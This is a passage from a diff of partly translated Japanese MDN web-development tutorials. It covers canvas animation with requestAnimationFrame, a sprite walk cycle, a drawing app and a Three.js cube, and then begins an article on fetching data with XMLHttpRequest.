your canvas as being like a movie, you really want the display to update on each frame to show the updated view, with an ideal refresh rate of 60 frames per second so that movement appears nice and smooth to the human eye.</p> + +<p>There are a few JavaScript functions that will allow you to run functions repeatedly, several times a second, the best one for our purposes here being {{domxref("window.requestAnimationFrame()")}}. It takes one parameter — the name of the function you want to run for each frame. The next time the browser is ready to update the screen, your function will get called. If that function draws the new update to your animation, then calls <code>requestAnimationFrame()</code> again just before the end of the function, the animation loop will continue to run. The loop ends when you stop calling <code>requestAnimationFrame()</code> or if you call {{domxref("window.cancelAnimationFrame()")}} after calling <code>requestAnimationFrame()</code> but before the frame is called.</p> + +<div class="note"> +<p><strong>注:</strong> It's good practice to call <code>cancelAnimationFrame()</code> from your main code when you're done using the animation, to ensure that no updates are still waiting to be run.</p> +</div> + +<p>The browser works out complex details such as making the animation run at a consistent speed, and not wasting resources animating things that can't be seen.</p> + +<p>To see how it works, let's quickly look again at our Bouncing Balls example (<a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">see it live</a>, and also see <a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/bouncing-balls">the source code</a>). The code for the loop that keeps everything moving looks like this:</p> + +<pre class="brush: js notranslate">function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + for(let i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + balls[i].collisionDetect(); + } + + requestAnimationFrame(loop); +} + +loop();</pre> + +<p>We run the <code>loop()</code> function once at the bottom of the code to start the cycle, drawing the first animation frame; the <code>loop()</code> function then takes charge of calling <code>requestAnimationFrame(loop)</code> to run the next frame of the animation, again and again.</p> + +<p>Note that on each frame we are completely clearing the canvas and redrawing everything. For every ball present we draw it, update its position, and check to see if it is colliding with any other balls. Once you've drawn a graphic to a canvas, there's no way to manipulate that graphic individually like you can with DOM elements. You can't move each ball around on the canvas, because once it's drawn, it's part of the canvas, and is not an individual accessible element or object. Instead, you have to erase and redraw, either by erasing the entire frame and redrawing everything, or by having code that knows exactly what parts need to be erased and only erases and redraws the minimum area of the canvas necessary.</p> + +<p>Optimizing animation of graphics is an entire specialty of programming, with lots of clever techniques available. Those are beyond what we need for our example, though!</p> + +<p>In general, the process of doing a canvas animation involves the following steps:</p> + +<ol> + <li>Clear the canvas contents (e.g. with {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} or {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}).</li> + <li>Save state (if necessary) using {{domxref("CanvasRenderingContext2D.save", "save()")}} — this is needed when you want to save settings you've updated on the canvas before continuing, which is useful for more advanced applications.</li> + <li>Draw the graphics you are animating.</li> + <li>Restore the settings you saved in step 2, using {{domxref("CanvasRenderingContext2D.restore", "restore()")}}</li> + <li>Call <code>requestAnimationFrame()</code> to schedule drawing of the next frame of the animation.</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: We won't cover <code>save()</code> and <code>restore()</code> here, but they are explained nicely in our <a href="/ja/docs/Web/API/Canvas_API/Tutorial/Transformations">Transformations</a> tutorial (and the ones that follow it).</p> +</div> + +<h3 id="A_simple_character_animation" name="A_simple_character_animation">簡単なキャラクターのアニメーション</h3> + +<p>Now let's create our own simple animation — we'll get a character from a certain rather awesome retro computer game to walk across the screen.</p> + +<ol> + <li> + <p>Make another fresh copy of our canvas template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) and open it in your code editor. Make a copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/walk-right.png">walk-right.png</a> in the same directory.</p> + </li> + <li> + <p>At the bottom of the JavaScript, add the following line to once again make the coordinate origin sit in the middle of the canvas:</p> + + <pre class="brush: js notranslate">ctx.translate(width/2, height/2);</pre> + </li> + <li> + <p>Now let's create a new {{domxref("HTMLImageElement")}} object, set its {{htmlattrxref("src", "img")}} to the image we want to load, and add an <code>onload</code> event handler that will cause the <code>draw()</code> function to fire when the image is loaded:</p> + + <pre class="brush: js notranslate">let image = new Image(); +image.src = 'walk-right.png'; +image.onload = draw;</pre> + </li> + <li> + <p>Now we'll add some variables to keep track of the position the sprite is to be drawn on the screen, and the sprite number we want to display.</p> + + <pre class="brush: js notranslate">let sprite = 0; +let posX = 0;</pre> + + <p>Let's explain the spritesheet image (which we have respectfully borrowed from Mike Thomas' <a href="http://atomicrobotdesign.com/blog/htmlcss/create-a-sprite-sheet-walk-cycle-using-using-css-animation/" rel="bookmark" title="Permanent Link to Create a sprite sheet walk cycle using using CSS animation">Create a sprite sheet walk cycle using using CSS animation</a>). The image looks like this:</p> + + <p><img alt="" src="https://mdn.mozillademos.org/files/14847/walk-right.png" style="display: block; height: 148px; margin: 0px auto; width: 612px;"></p> + + <p>It contains six sprites that make up the whole walking sequence — each one is 102 pixels wide and 148 pixels high. To display each sprite cleanly we will have to use <code>drawImage()</code> to chop out a single sprite image from the spritesheet and display only that part, like we did above with the Firefox logo. The X coordinate of the slice will have to be a multiple of 102, and the Y coordinate will always be 0. The slice size will always be 102 by 148 pixels.</p> + </li> + <li> + <p>Now let's insert an empty <code>draw()</code> function at the bottom of the code, ready for filling up with some code:</p> + + <pre class="brush: js notranslate">function draw() { + +};</pre> + </li> + <li> + <p>the rest of the code in this section goes inside <code>draw()</code>. First, add the following line, which clears the canvas to prepare for drawing each frame. Notice that we have to specify the top-left corner of the rectangle as <code>-(width/2), -(height/2)</code> because we specified the origin position as <code>width/2, height/2</code> earlier on.</p> + + <pre class="brush: js notranslate">ctx.fillRect(-(width/2), -(height/2), width, height);</pre> + </li> + <li> + <p>Next, we'll draw our image using drawImage — the 9-parameter version. Add the following:</p> + + <pre class="brush: js notranslate">ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148);</pre> + + <p>As you can see:</p> + + <ul> + <li>We specify <code>image</code> as the image to embed.</li> + <li>Parameters 2 and 3 specify the top-left corner of the slice to cut out of the source image, with the X value as <code>sprite</code> multiplied by 102 (where <code>sprite</code> is the sprite number between 0 and 5) and the Y value always 0.</li> + <li>Parameters 4 and 5 specify the size of the slice to cut out — 102 pixels by 148 pixels.</li> + <li>Parameters 6 and 7 specify the top-left corner of the box into which to draw the slice on the canvas — the X position is 0 + <code>posX</code>, meaning that we can alter the drawing position by altering the <code>posX</code> value.</li> + <li>Parameters 8 and 9 specify the size of the image on the canvas. We just want to keep its original size, so we specify 102 and 148 as the width and height.</li> + </ul> + </li> + <li> + <p>Now we'll alter the <code>sprite</code> value after each draw — well, after some of them anyway. Add the following block to the bottom of the <code>draw()</code> function:</p> + + <pre class="brush: js notranslate"> if (posX % 13 === 0) { + if (sprite === 5) { + sprite = 0; + } else { + sprite++; + } + }</pre> + + <p>We are wrapping the whole block in <code> if (posX % 13 === 0) { ... }</code>. We use the modulo (<code>%</code>) operator (also known as the <a href="/ja/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_()">remainder operator</a>) to check whether the <code>posX</code> value can be exactly divided by 13 with no remainder. If so, we move on to the next sprite by incrementing <code>sprite</code> (wrapping to 0 after we're done with sprite #5). This effectively means that we are only updating the sprite on every 13th frame, or roughly about 5 frames a second (<code>requestAnimationFrame()</code> calls us at up to 60 frames per second if possible). We are deliberately slowing down the frame rate because we only have six sprites to work with, and if we display one every 60th of a second, our character will move way too fast!</p> + + <p>Inside the outer block we use an <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code> statement to check whether the <code>sprite</code> value is at 5 (the last sprite, given that the sprite numbers run from 0 to 5). If we are showing the last sprite already, we reset <code>sprite</code> back to 0; if not we just increment it by 1.</p> + </li> + <li> + <p>Next we need to work out how to change the <code>posX</code> value on each frame — add the following code block just below your last one. </p> + + <pre class="brush: js notranslate"> if(posX > width/2) { + newStartPos = -((width/2) + 102); + posX = Math.ceil(newStartPos); + console.log(posX); + } else { + posX += 2; + }</pre> + + <p>We are using another <code>if ... else</code> statement to see if the value of <code>posX</code> has become greater than <code>width/2</code>, which means our character has walked off the right edge of the screen. If so, we calculate a position that would put the character just to the left of the left side of the screen.</p> + + <p>If our character hasn't yet walked off the edge of the screen, we simply increment <code>posX</code> by 2. This will make him move a little bit to the right the next time we draw him.</p> + </li> + <li> + <p>Finally, we need to make the animation loop by calling {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} at the bottom of the <code>draw()</code> function:</p> + + <pre class="brush: js notranslate">window.requestAnimationFrame(draw);</pre> + </li> +</ol> + +<p>That's it! The final example should look like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html">7_canvas_walking_animation.html</a>.</p> +</div> + +<h3 id="A_simple_drawing_application" name="A_simple_drawing_application">簡単なドローアプリ</h3> + +<p>As a final animation example, we'd like to show you a very simple drawing application, to illustrate how the animation loop can be combined with user input (like mouse movement, in this case). We won't get you to walk through and build this one; we'll just explore the most interesting parts of the code.</p> + +<p>The example can be found on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html">8_canvas_drawing_app.html</a>, and you can play with it live below:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}}</p> + +<p>Let's look at the most interesting parts. First of all, we keep track of the mouse's X and Y coordinates and whether it is being clicked or not with three variables: <code>curX</code>, <code>curY</code>, and <code>pressed</code>. When the mouse moves, we fire a function set as the <code>onmousemove</code> event handler, which captures the current X and Y values. We also use <code>onmousedown</code> and <code>onmouseup</code> event handlers to change the value of <code>pressed</code> to <code>true</code> when the mouse button is pressed, and back to <code>false</code> again when it is released.</p> + +<pre class="brush: js notranslate">let curX; +let curY; +let pressed = false; + +document.onmousemove = function(e) { + curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); + curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); +} + +canvas.onmousedown = function() { + pressed = true; +}; + +canvas.onmouseup = function() { + pressed = false; +}</pre> + +<p>When the "Clear canvas" button is pressed, we run a simple function that clears the whole canvas back to black, the same way we've seen before:</p> + +<pre class="brush: js notranslate">clearBtn.onclick = function() { + ctx.fillStyle = 'rgb(0, 0, 0)'; + ctx.fillRect(0, 0, width, height); +}</pre> + +<p>The drawing loop is pretty simple this time around — if pressed is <code>true</code>, we draw a circle with a fill style equal to the value in the color picker, and a radius equal to the value set in the range input. We have to draw the circle 85 pixels above where we measured it from, because the vertical measurement is taken from the top of the viewport, but we are drawing the circle relative to the top of the canvas, which starts below the 85 pixel-high toolbar. If we drew it with just <code>curY</code> as the y coordinate, it would appear 85 pixels lower than the mouse position.</p> + +<pre class="brush: js notranslate">function draw() { + if(pressed) { + ctx.fillStyle = colorPicker.value; + ctx.beginPath(); + ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false); + ctx.fill(); + } + + requestAnimationFrame(draw); +} + +draw();</pre> + +<div class="note"> +<p><strong>注</strong>: The {{htmlelement("input")}} <code>range</code> and <code>color</code> types are supported fairly well across browsers, with the exception of Internet Explorer versions less than 10; also Safari doesn't yet support <code>color</code>. If your browser doesn't support these inputs, they will fall back to simple text fields and you'll just have to enter valid color/number values yourself.</p> +</div> + +<h2 id="WebGL" name="WebGL">WebGL</h2> + +<p>It's now time to leave 2D behind, and take a quick look at 3D canvas. 3D canvas content is specified using the <a href="/ja/docs/Web/API/WebGL_API">WebGL API</a>, which is a completely separate API from the 2D canvas API, even though they both render onto {{htmlelement("canvas")}} elements.</p> + +<p>WebGL is based on <a href="/ja/docs/Glossary/OpenGL">OpenGL</a> (Open Graphics Library), and allows you to communicate directly with the computer's <a href="/ja/docs/Glossary/GPU">GPU</a>. As such, writing raw WebGL is closer to low level languages such as C++ than regular JavaScript; it is quite complex but incredibly powerful.</p> + +<h3 id="Using_a_library" name="Using_a_library">ライブラリーの使用</h3> + +<p>Because of its complexity, most people write 3D graphics code using a third party JavaScript library such as <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>, <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a>, or <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a>. Most of these work in a similar way, providing functionality to create primitive and custom shapes, position viewing cameras and lighting, covering surfaces with textures, and more. They handle the WebGL for you, letting you work on a higher level.</p> + +<p>Yes, using one of these means learning another new API (a third party one, in this case), but they are a lot simpler than coding raw WebGL.</p> + +<h3 id="Recreating_our_cube" name="Recreating_our_cube">立方体を作成する</h3> + +<p>Let's look at a simple example of how to create something with a WebGL library. We'll choose <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>, as it is one of the most popular ones. In this tutorial we'll create the 3D spinning cube we saw earlier.</p> + +<ol> + <li> + <p>To start with, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/index.html">index.html</a> in a new folder, then save a copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/metal003.png">metal003.png</a> in the same folder. This is the image we'll use as a surface texture for the cube later on.</p> + </li> + <li> + <p>Next, create a new file called <code>main.js</code>, again in the same folder as before.</p> + </li> + <li> + <p>If you open <code>index.html</code> in your code editor, you'll see that it has two {{htmlelement("script")}} elements — the first one attaching <code>three.min.js</code> to the page, and the second one attaching our <code>main.js</code> file to the page. You need to <a href="https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.min.js">download the three.min.js library</a> and save it in the same directory as before.</p> + </li> + <li> + <p>Now we've got <code>three.js</code> attached to our page, we can start to write JavaScript that makes use of it into <code>main.js</code>. Let's start by creating a new scene — add the following into your main.js file:</p> + + <pre class="brush: js notranslate">const scene = new THREE.Scene();</pre> + + <p>The <code><a href="https://threejs.org/docs/index.html#Reference/Scenes/Scene">Scene()</a></code> constructor creates a new scene, which represents the whole 3D world we are trying to display.</p> + </li> + <li> + <p>Next, we need a <strong>camera</strong> so we can see the scene. In 3D imagery terms, the camera represents a viewer's position in the world. To create a camera, add the following lines next:</p> + + <pre class="brush: js notranslate">const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); +camera.position.z = 5; +</pre> + + <p>The <code><a href="https://threejs.org/docs/index.html#Reference/Cameras/PerspectiveCamera">PerspectiveCamera()</a></code> constructor takes four arguments:</p> + + <ul> + <li>The field of view: How wide the area in front of the camera is that should be visible onscreen, in degrees.</li> + <li>The aspect ratio: Usually, this is the ratio of the scene's width divided by the scene's height. Using another value will distort the scene (which might be what you want, but usually isn't).</li> + <li>The near plane: How close to the camera objects can be before we stop rendering them to the screen. Think about how when you move your fingertip closer and closer to the space between your eyes, eventually you can't see it anymore.</li> + <li>The far plane: How far away things are from the camera before they are no longer rendered.</li> + </ul> + + <p>We also set the camera's position to be 5 distance units out of the Z axis, which, like in CSS, is out of the screen towards you, the viewer.</p> + </li> + <li> + <p>The third vital ingredient is a renderer. This is an object that renders a given scene, as viewed through a given camera. We'll create one for now using the <code><a href="https://threejs.org/docs/index.html#Reference/Renderers/WebGLRenderer">WebGLRenderer()</a></code> constructor, but we'll not use it till later. Add the following lines next:</p> + + <pre class="brush: js notranslate">const renderer = new THREE.WebGLRenderer(); +renderer.setSize(window.innerWidth, window.innerHeight); +document.body.appendChild(renderer.domElement);</pre> + + <p>The first line creates a new renderer, the second line sets the size at which the renderer will draw the camera's view, and the third line appends the {{htmlelement("canvas")}} element created by the renderer to the document's {{htmlelement("body")}}. Now anything the renderer draws will be displayed in our window.</p> + </li> + <li> + <p>Next, we want to create the cube we'll display on the canvas. Add the following chunk of code at the bottom of your JavaScript:</p> + + <pre class="brush: js notranslate">let cube; + +let loader = new THREE.TextureLoader(); + +loader.load( 'metal003.png', function (texture) { + texture.wrapS = THREE.RepeatWrapping; + texture.wrapT = THREE.RepeatWrapping; + texture.repeat.set(2, 2); + + let geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4); + let material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } ); + cube = new THREE.Mesh(geometry, material); + scene.add(cube); + + draw(); +});</pre> + + <p>There's a bit more to take in here, so let's go through it in stages:</p> + + <ul> + <li>We first create a <code>cube</code> global variable so we can access our cube from anywhere in the code.</li> + <li>Next, we create a new <code><a href="https://threejs.org/docs/index.html#Reference/Loaders/TextureLoader">TextureLoader</a></code> object, then call <code>load()</code> on it. <code>load()</code> takes two parameters in this case (although it can take more): the texture we want to load (our PNG), and a function that will run when the texture has loaded.</li> + <li>Inside this function we use properties of the <code><a href="https://threejs.org/docs/index.html#Reference/Textures/Texture">texture</a></code> object to specify that we want a 2 x 2 repeat of the image wrapped around all sides of the cube. Next, we create a new <code><a href="https://threejs.org/docs/index.html#Reference/Geometries/BoxGeometry">BoxGeometry</a></code> object and a new <code><a href="https://threejs.org/docs/index.html#Reference/Materials/MeshLambertMaterial">MeshLambertMaterial</a></code> object, and bring them together in a <code><a href="https://threejs.org/docs/index.html#Reference/Objects/Mesh">Mesh</a></code> to create our cube. An object typically requires a geometry (what shape it is) and a material (what its surface looks like).</li> + <li>Last of all, we add our cube to the scene, then call our <code>draw()</code> function to start off the animation.</li> + </ul> + </li> + <li> + <p>Before we get to defining <code>draw()</code>, we'll add a couple of lights to the scene, to liven things up a bit; add the following blocks next:</p> + + <pre class="brush: js notranslate">let light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light +scene.add(light); + +let spotLight = new THREE.SpotLight('rgb(255, 255, 255)'); +spotLight.position.set( 100, 1000, 1000 ); +spotLight.castShadow = true; +scene.add(spotLight);</pre> + + <p>An <code><a href="https://threejs.org/docs/index.html#Reference/Lights/AmbientLight">AmbientLight</a></code> object is a kind of soft light that lightens the whole scene a bit, like the sun when you are outside. The <code><a href="https://threejs.org/docs/index.html#Reference/Lights/SpotLight">SpotLight</a></code> object, on the other hand, is a directional beam of light, more like a flashlight/torch (or a spotlight, in fact).</p> + </li> + <li> + <p>Last of all, let's add our <code>draw()</code> function to the bottom of the code:</p> + + <pre class="brush: js notranslate">function draw() { + cube.rotation.x += 0.01; + cube.rotation.y += 0.01; + renderer.render(scene, camera); + + requestAnimationFrame(draw); +}</pre> + + <p>This is fairly intuitive; on each frame, we rotate our cube slightly on its X and Y axes, then render the scene as viewed by our camera, then finally call <code>requestAnimationFrame()</code> to schedule drawing our next frame.</p> + </li> +</ol> + +<p>Let's have another quick look at what the finished product should look like:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> + +<p>You can <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-cube">find the finished code on GitHub</a>.</p> + +<div class="note"> +<p><strong>注</strong>: In our GitHub repo you can also find another interesting 3D cube example — <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-video-cube">Three.js Video Cube</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/drawing-graphics/threejs-video-cube/">see it live also</a>). This uses {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to take a video stream from a computer web cam and project it onto the side of the cube as a texture!</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>At this point, you should have a useful idea of the basics of graphics programming using Canvas and WebGL and what you can do with these APIs, as well as a good idea of where to go for further information. Have fun!</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p>Here we have covered only the real basics of canvas — there is so much more to learn! The below articles will take you further.</p> + +<ul> + <li><a href="/ja/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> — A very detailed tutorial series explaining what you should know about 2D canvas in much more detail than was covered here. Essential reading.</li> + <li><a href="/ja/docs/Web/API/WebGL_API/Tutorial">WebGL tutorial</a> — A series that teaches the basics of raw WebGL programming.</li> + <li><a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Building up a basic demo with Three.js</a> — basic Three.js tutorial. We also have equivalent guides for <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a> or <a href="/ja/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a>.</li> + <li><a href="/ja/docs/Games">Game development</a> — the landing page for web games development on MDN. There are some really useful tutorials and techniques available here related to 2D and 3D canvas — see the Techniques and Tutorials menu options.</li> +</ul> + +<h2 id="Examples" name="Examples">例</h2> + +<ul> + <li><a href="https://github.com/mdn/violent-theremin">Violent theramin</a> — Uses the Web Audio API to generate sound, and canvas to generate a pretty visualization to go along with it.</li> + <li><a href="https://github.com/mdn/voice-change-o-matic">Voice change-o-matic</a> — Uses a canvas to visualize real-time audio data from the Web Audio API.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></li> +</ul> diff --git a/files/ja/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/ja/learn/javascript/client-side_web_apis/fetching_data/index.html new file mode 100644 index 0000000000..44f7c8b035 --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/fetching_data/index.html @@ -0,0 +1,389 @@ +--- +title: サーバからのデータ取得 +slug: Learn/JavaScript/Client-side_web_APIs/Fetching_data +tags: + - API + - Article + - Beginner + - CodingScripting + - Fetch + - JSON + - JavaScript + - Learn + - Promises + - Server + - XHR + - XML + - XMLHttpRequest + - data + - request +translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">モダンな Web サイトやアプリケーションでしょっちゅう必要になる仕事は、サーバから個々のデータを取ってきて、新しいページ全体を読んでくることなしに、ページの一部を書き換える事です。この一見ちょっとした事が、サイトのパフォーマンスや振舞いに巨大なインパクトを与えました。この記事ではそのコンセプトを解説し、これを可能にした技術 XMLHttpRequest や Fetch API について見ていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>JavaScript の基本 (<a href="/ja/docs/Learn/JavaScript/First_steps">最初のステップ</a>、<a href="/ja/docs/Learn/JavaScript/Building_blocks">ビルディングブロック</a>、<a href="/ja/docs/Learn/JavaScript/Objects">JavaScript オブジェクト</a>を参照)、<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">クライアントサイド API の基本</a></td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>サーバからデータを取得し、それを使用して Web ページのコンテンツを更新する方法を習得する。</td> + </tr> + </tbody> +</table> + +<h2 id="これの問題は何か">これの問題は何か?</h2> + +<p>もともと Web のページ読み込みは単純でした — Web サイトのデータをサーバにリクエストすると、何も問題がなければ、ページを構成するいろいろなものがダウンロードされてあなたのコンピュータに表示されていました。</p> + +<p><img alt="A basic representation of a web site architecture" src="https://mdn.mozillademos.org/files/6475/web-site-architechture@2x.png" style="display: block; height: 134px; margin: 0px auto; width: 484px;"></p> + +<p>このモデルの問題は、どこかページの一部を書き換えたい場合、例えば新しい商品の一群を表示したり新しいページを読み込ませたりをする毎に、ページ全体を読み直さなければならない事です。これはとても無駄が多くてユーザ体験が悪化します、とりわけページが大きくて複雑になってくるにつれて。</p> + +<h3 id="Ajax_の登場">Ajax の登場</h3> + +<p>上述の問題を解決すべく、Web ページから細かいデータ (<a href="/docs/Web/HTML">HTML</a>、{{glossary("XML")}}、<a href="/docs/Learn/JavaScript/Objects/JSON">JSON</a> やプレーンテキストのような) をリクエストし、それを必要な時だけ表示するという技術の誕生へと繋がりました。</p> + +<p>これは {{domxref("XMLHttpRequest")}} や、最近では <a href="/docs/Web/API/Fetch_API">Fetch API</a> の利用によって実現されます。これらの技術は、Web ページがサーバにある特定のリソースを直接 <a href="/docs/Web/HTTP">HTTP</a> リクエストし、必要があれば結果のデータを表示する前に整形する事を可能にしました。</p> + +<div class="note"> +<p><strong>注記</strong>: これらのテクニック一般はかつて Ajax (Asynchronous JavaScript and XML)と呼ばれていましたが、これは {{domxref("XMLHttpRequest")}} を使って XML データを要求するものが多かったためです。今日ではそういうものばかりではありませんが (<code>XMLHttpRequest</code> や Fetch を使って JSON を要求する場合の方が多いでしょう)、結果としては同じであり、"Ajax" という用語はしばしば今でもこのテクニックを説明するのに使われます。</p> +</div> + +<p><img alt="A simple modern architecture for web sites" src="https://mdn.mozillademos.org/files/6477/moderne-web-site-architechture@2x.png" style="display: block; height: 235px; margin: 0px auto; width: 559px;"></p> + +<p>Ajax モデルには、ブラウザにページ全体をリロードされるのではなく、もっと賢くデータをリクエストするために Web API をプロキシとして使うという事も含まれます。これの重要性を考えてみて下さい:</p> + +<ol> + <li>お気に入りの情報に富んだサイト、アマゾンとか YouTube とか CNN とかに行って読み込みます。</li> + <li>さて新しい商品だか何だかを検索します。メインのコンテンツは変わるでしょうが、周りに表示されている情報、ヘッダーやフッター、ナビゲーションメニューなど、大半はそのままでしょう。</li> +</ol> + +<p>これはとても良いことで、それは:</p> + +<ul> + <li>ページの更新がずっと素早く、切り替わるのを待つ必要もないので、サイトがずっと早くて反応の良いものに感じられます。</li> + <li>更新毎にダウンロードされるデータが少ないので、帯域の無駄が少なくなります。ブロードバンドに接続されたデスクトップではさして問題ではないかもしれませんが、モバイルデバイスからや、どこでも高速インターネット接続が使えるわけではない開発途上国ではとても重要な問題です。</li> +</ul> + +<p>さらなる高速化のために、サイトの中には必要なものやデータを最初にリクエストされた時にユーザのコンピュータに保存してしまい、以降の訪問では保存ずみのものを、サーバから最新版のダウンロードさせる事なく使用するものもあります。コンテンツはそれが更新された時だけサーバから再読み込みされます。</p> + +<p><img alt="A basic web app data flow architecture" src="https://mdn.mozillademos.org/files/6479/web-app-architecture@2x.png" style="display: block; height: 383px; margin: 0px auto; width: 562px;"></p> + +<h2 id="基本的な_Ajax_リクエスト">基本的な Ajax リクエスト</h2> + +<p>{{domxref("XMLHttpRequest")}} と <a href="/docs/Web/API/Fetch_API">Fetch</a> それぞれを使って、そのようなリクエストをどうやるのか見ていきましょう。それらの例では、いくつかの異なるテキストファイルから取り出したデータをリクエストし、コンテンツ領域に埋め込みます。</p> + +<p>この一連のファイルは疑似データベースとして働きます。実際のアプリケーションでは、PHP や Python、Node のようなサーバサイド言語を使ってデータベースから取り出したデータをリクエストする場合が多いでしょう。ですがここでは簡単にしておき、クライアント側のパートに集中します。</p> + +<h3 id="XMLHttpRequest">XMLHttpRequest</h3> + +<p><code>XMLHttpRequest</code> (よく XHR と略記されます) は今となってはかなり古い技術です — Microsoft によって1990年代に発明され、非常に長い間ブラウザを超えて標準化されてきました。</p> + +<ol> + <li> + <p>この例題を始めるにあたり、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> と4つのテキストファイル — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> — のローカルコピーを、あなたのコンピュータの新しいディレクトリに作って下さい。この例題では、ドロップダウンメニューから選択されたら、詩 (ご存知の詩かも) のこれら異なる節を XHR を使って読み込みます。</p> + </li> + <li> + <p>{{htmlelement("script")}} 要素のすぐ内側に、下のコードを書き足して下さい。これは {{htmlelement("select")}} と {{htmlelement("pre")}} 要素への参照を定数に保存し、{{domxref("GlobalEventHandlers.onchange","onchange")}} イベントハンドラ関数を定義していて、これは select の値が変わったら、その値が呼び出される関数 <code>updateDisplay()</code> の引数となるようにします。</p> + + <pre class="brush: js notranslate">const verseChoose = document.querySelector('select'); +const poemDisplay = document.querySelector('pre'); + +verseChoose.onchange = function() { + const verse = verseChoose.value; + updateDisplay(verse); +};</pre> + </li> + <li> + <p><code>updateDisplay()</code> 